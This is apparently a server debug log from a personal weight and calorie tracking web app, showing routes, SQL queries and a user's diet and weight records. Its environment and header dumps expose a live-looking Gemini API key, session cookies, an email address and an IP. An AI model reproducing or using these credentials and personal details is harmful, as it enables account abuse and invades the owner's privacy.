    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T05:16:55.370Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T05:16:58.839Z server-connect:router Serving templateView /weight-trackor
2025-12-16T05:16:58.839Z server-connect:app Executing action step identify
2025-12-16T05:16:58.839Z server-connect:app options: { provider: 'security' }
2025-12-16T05:16:58.839Z server-connect:output identity: 1
2025-12-16T05:16:58.839Z server-connect:app Executing action step restrict
2025-12-16T05:16:58.839Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T05:16:58.840Z server-connect:output restrict: undefined
2025-12-16T05:16:58.840Z server-connect:router Render template weight-trackor
2025-12-16T05:16:58.840Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-16T05:16:59.094Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-16T05:16:59.095Z server-connect:app Executing action step identify
2025-12-16T05:16:59.095Z server-connect:app options: { provider: 'security' }
2025-12-16T05:16:59.095Z server-connect:output identity: 1
2025-12-16T05:16:59.095Z server-connect:app Executing action step restrict
2025-12-16T05:16:59.095Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T05:16:59.095Z server-connect:output restrict: undefined
2025-12-16T05:16:59.095Z server-connect:app Executing action step custom
2025-12-16T05:16:59.095Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-16T05:16:59.097Z server-connect:output list: [
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-16T05:16:59.535Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T05:16:59.535Z server-connect:app Executing action step identify
2025-12-16T05:16:59.535Z server-connect:app options: { provider: 'security' }
2025-12-16T05:16:59.535Z server-connect:output identity: 1
2025-12-16T05:16:59.535Z server-connect:app Executing action step restrict
2025-12-16T05:16:59.535Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T05:16:59.536Z server-connect:output restrict: undefined
2025-12-16T05:16:59.536Z server-connect:router Render template calorie-tracker
2025-12-16T05:16:59.536Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-16T05:17:00.204Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T05:17:00.204Z server-connect:app Executing action step identify
2025-12-16T05:17:00.204Z server-connect:app options: { provider: 'security' }
2025-12-16T05:17:00.204Z server-connect:output identity: 1
2025-12-16T05:17:00.204Z server-connect:app Executing action step restrict
2025-12-16T05:17:00.204Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T05:17:00.205Z server-connect:output restrict: undefined
2025-12-16T05:17:00.205Z server-connect:app Executing action step single
2025-12-16T05:17:00.205Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T05:17:00.206Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T05:17:00.206Z server-connect:app Executing action step select
2025-12-16T05:17:00.206Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T05:17:00.207Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  }
]
2025-12-16T05:17:00.208Z server-connect:app Executing action step setvalue
2025-12-16T05:17:00.208Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T05:17:00.208Z server-connect:output var_total: 350
2025-12-16T05:17:00.208Z server-connect:app Executing action step setvalue
2025-12-16T05:17:00.208Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T05:17:00.208Z server-connect:output var_consumed: 15
2025-12-16T05:17:00.208Z server-connect:app Executing action step setvalue
2025-12-16T05:17:00.208Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T05:17:00.208Z server-connect:output var_deficit: 2050
2025-12-16T05:17:00.208Z server-connect:app Executing action step custom
2025-12-16T05:17:00.208Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T05:17:00.209Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '350',
    surplus_or_deficit: '2050',
    status_flag: 2
  }
]
2025-12-16T05:17:00.385Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T05:17:00.386Z server-connect:app Executing action step identify
2025-12-16T05:17:00.386Z server-connect:app options: { provider: 'security' }
2025-12-16T05:17:00.386Z server-connect:output identity: 1
2025-12-16T05:17:00.386Z server-connect:app Executing action step restrict
2025-12-16T05:17:00.386Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T05:17:00.386Z server-connect:output restrict: undefined
2025-12-16T05:17:00.386Z server-connect:router Render template layouts/main
2025-12-16T05:17:00.387Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12e89-SduvY0PXqQWXGwFWteY9dYGdlRs"',
    priority: 'u=0, i',
